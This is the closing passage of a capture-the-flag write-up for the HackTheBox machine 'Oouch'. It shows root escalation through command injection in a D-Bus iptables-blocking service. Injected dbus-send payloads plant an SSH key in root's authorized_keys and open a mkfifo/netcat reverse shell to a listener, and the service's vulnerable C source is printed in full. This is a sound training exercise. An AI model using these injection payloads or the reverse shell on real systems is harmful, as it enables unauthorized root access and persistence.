Alright we are now connect as www-data, we should be able to freely send dbus message on the htb.oouch.Block interface. We know that the dbus server is used to add iptable entries with the IP sent as Block object. Knowing this we can imagine the dbus server is running this kind of command:

1
iptables -I INPUT -s {IP} -j DROP

So maybe if the message is not properly sanitized we can achieved remote code execution ? For example sending the following command injection payload:

1
;touch /tmp/pwnd;

Will result in the following command being run:

1
iptables -I INPUT -s ;touch /tmp/pwnd; -j DROP

Well, here is the theory so now let’s give it a try:

1
2
3
[email protected]:/$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;/bin/touch /tmp/pwnd;"
method return time=1589554703.938058 sender=:1.3 -> destination=:1.1037 serial=7 reply_serial=2
string "Carried out :D"
1
2
[email protected]:/$ ls -l /tmp/pwnd
-rw-r--r-- 1 root root 0 May 15 21:38 /tmp/pwnd

Awesome it worked! Let’s now use the Remote Code Execution vulnerability to get a root shell.

Method 1: SSH authorized_keys

1
[email protected]:/$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;/bin/echo \"ssh-rsa AAA[...]2E= [email protected]\" >> /root/.ssh/authorized_keys;"

Then login using SSH:

1
2
3
4
5
6
7
8
9
[[email protected] ~]$ ssh -i id_rsa_htb [email protected]
Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64

Last login: Tue Feb 25 12:54:48 2020
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~# cat root.txt
cxxxxxxxxxxxxxxxxxxx3
[email protected]:~#

Method 2: Bi-directional netcat

This one was new to me. First let’s open our listener:

1
2
[email protected]:/tmp$ /tmp/nc -nlvp 4444
listening on [any] 4444 ...

Then let’s inject a bi-directional netcat shell.

1
2
3
4
[email protected]:/$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;mkfifo /tmp/.h; cat /tmp/.h | /bin/bash -i 2>&1 | nc 172.18.0.5 4444 >/tmp/.h;"
<| /bin/bash -i 2>&1 | nc 172.18.0.5 4444 >/tmp/.h;"
method return time=1589553952.221350 sender=:1.3 -> destination=:1.999 serial=3 reply_serial=2
string "Carried out :D"

We get the connection on our listener:

1
2
3
4
5
6
7
[email protected]:/tmp$ /tmp/nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.18.0.5] from (UNKNOWN) [172.18.0.1] 41738
[email protected]:/root# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/root# cat root.txt
cxxxxxxxxxxxxxxxxxxx3

Beyond root

On root home folder we found the following credits.txt file:

1
2
3
4
5
6
7
8
[email protected]:~# cat credits.txt
This machine was created with the help of the following tutorials:

http://0pointer.net/blog/the-new-sd-bus-api-of-systemd.html
https://django-oauth-toolkit.readthedocs.io/en/latest/
https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world

Big thanks to all, who share their knowledge with other people!

Couldn’t agree more!

We can also find the source code of the app simulating admin opening link sent through contact page, creating the SSRF. We also find the dbus server source code which is worth reading to understand how our command is handled once a message is sent on the htb.oouch.Block Interface.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>

static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;

/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}

char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";

int command_len = strlen(command);
int host_len = strlen(host);

char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}

sprintf(command_buffer, command, host);

/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();

if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}


/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};


int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
* argc (int) Number of arguments, not required
* argv[] (char**) Argument array, not required
*
* Returns:
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
* as long as the user keeps it alive.
*/


/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);

sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;

/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* object path */
"htb.oouch.Block", /* interface name */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}

/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}

/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;

/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}

finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);

return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxHard Box
, , , , , , , ,